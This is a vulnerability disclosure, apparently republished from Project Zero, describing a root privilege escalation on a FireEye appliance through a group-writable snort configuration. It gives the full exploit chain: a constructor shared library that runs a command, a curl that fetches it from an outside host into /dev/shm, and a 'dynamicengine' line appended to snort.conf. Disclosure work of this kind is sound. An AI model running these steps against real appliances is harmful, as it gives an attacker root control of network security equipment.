FireEye – Malware Input Processor Privilege Escalation
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=670 The mip user is already quite privileged, capable of accessing sensitive network data. However, as the child process has supplementary gid contents, there is a very simple privilege escalation to root. This is because the snort configuration is writable by that group: $ ls -l /data/snort/config/snort.conf -rw-rw-r-- 1 fenet contents 1332 Dec 2 18:02 /data/snort/config/snort.conf This can be exploited by placing a shared library in a writable directory that is mounted with the “exec” option, and appending a “dynamicengine” directive to the snort configuration. # mount | grep -v noexec | grep rw ... /dev/sda8 on /var type ext4 (rw,noatime) /dev/sda11 on /data type ext4 (rw,noatime) /dev/sda9 on /data/db type ext4 (rw,noatime,barrier=0) tmpfs on /dev/shm type tmpfs (rw) It looks like /dev/shm is a good candidate for storing a shared library. First, I create and compile a shared library on my workstation, as there is no compiler available on the FireEye appliance: $ cat test.c void __attribute__((constructor)) init(void) { system("/usr/bin/id > /tmp/output.txt"); } $ gcc test.c -shared -s -fPIC -o test.so Now fetch that object on the FireEye machine, and instruct snort to load it: fireeye$ curl http://example.com/test.so > /dev/shm/test.so fireeye$ printf “dynamicengine /dev/shm/test.so\n” >> /data/snort/config/snort.conf The snort process is regularly restarted to process new rules, so simply wait for the snort process to respawn, and verify we were able to execute commands as root: fireeye$ cat /tmp/output.txt uid=0(admin) gid=0(root) groups=0(root) And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action. |